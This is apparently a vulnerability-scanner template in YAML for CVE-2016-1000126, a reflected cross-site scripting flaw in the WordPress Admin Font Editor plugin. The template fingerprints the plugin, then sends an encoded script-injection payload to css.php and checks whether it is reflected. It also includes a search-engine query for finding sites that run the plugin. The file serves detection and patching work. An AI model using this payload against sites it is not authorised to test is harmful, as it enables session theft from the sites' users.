WordPress Admin Font Editor <=1.8 - Cross-Site Scripting

id: CVE-2016-1000126

info:
  name: WordPress Admin Font Editor <=1.8 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Admin Font Editor 1.8 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the WordPress Admin Font Editor plugin (1.8 or higher) to fix this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=526
    - https://wordpress.org/plugins/admin-font-editor
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000126
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000126
    cwe-id: CWE-79
    epss-score: 0.03223
    epss-percentile: 0.8663
    cpe: cpe:2.3:a:admin-font-editor_project:admin-font-editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "admin-font-editor_project"
    product: "admin-font-editor"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/admin-font-editor\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,admin-font-editor_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/admin-font-editor/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Admin Font Editor'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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